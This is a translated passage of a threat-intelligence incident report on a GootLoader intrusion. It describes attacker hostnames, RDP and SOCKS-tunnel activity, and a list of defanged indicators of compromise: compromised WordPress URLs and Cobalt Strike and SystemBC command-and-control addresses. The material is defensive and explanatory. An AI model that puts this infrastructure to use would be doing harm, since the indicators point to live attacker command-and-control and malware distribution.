该活动确实通过 Windows eventID 4778 暴露了攻击者的计算机名称,名称为“DESKTOP-GRALDC5”。客户端地址引用代理端点,即私有 IPv4 地址。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

在入侵过程中,我们还观察到第二个主机名出现“HOME-PC”。这也是通过 RDP 访问相关登录发现的。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

根据SRUM(系统资源实用程序监视器),利用SOCKS隧道,攻击者在入侵第二天的0600 UTC至1100 UTC期间最为活跃。

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

在入侵过程中,我们观察到使用了两种不同的攻击者计算机名称:“DESKTOP-GRALDC5”和“HOME-PC”。


时间线

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

钻石模型

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

指标

Gootloaderhxxps[:]//hrclubphilippines[.]com/xmlrpc.phphxxps[:]//mediacratia[.]ru/xmlrpc.phphxxps[:]//daraltanweer[.]com/xmlrpc.phphxxps[:]//ukrainians[.]today/xmlrpc.phphxxps[:]//my-little-kitchen[.]com/xmlrpc.phphxxps[:]//montages[.]no/xmlrpc.phphxxps[:]//pocketofpreschool[.]com/xmlrpc.phphxxp[:]//blog[.]lilianpraskova[.]cz/xmlrpc.phphxxps[:]//sitmeanssit[.]com/xmlrpc.phphxxp[:]//artmodel[.]com[.]ua/xmlrpc.php
Cobalt Strike91.215.85[.]143:443
SystemBC C291.92.136[.]20:4001

此文翻译自:

https://thedfirreport.com/2024/02/26/seo-poisoning-to-domain-control-the-gootloader-saga-continues/



感谢您抽出

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

.

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

.

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

来阅读本文

SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

点它,分享点赞在看都在这里

原文始发于微信公众号(Ots安全):SEO 污染域名控制中毒:GootLoader恶意软件 完整分析

版权声明:admin 发表于 2024年2月27日 上午9:01。
转载请注明:SEO 污染域名控制中毒:GootLoader恶意软件 完整分析 | CTF导航

相关文章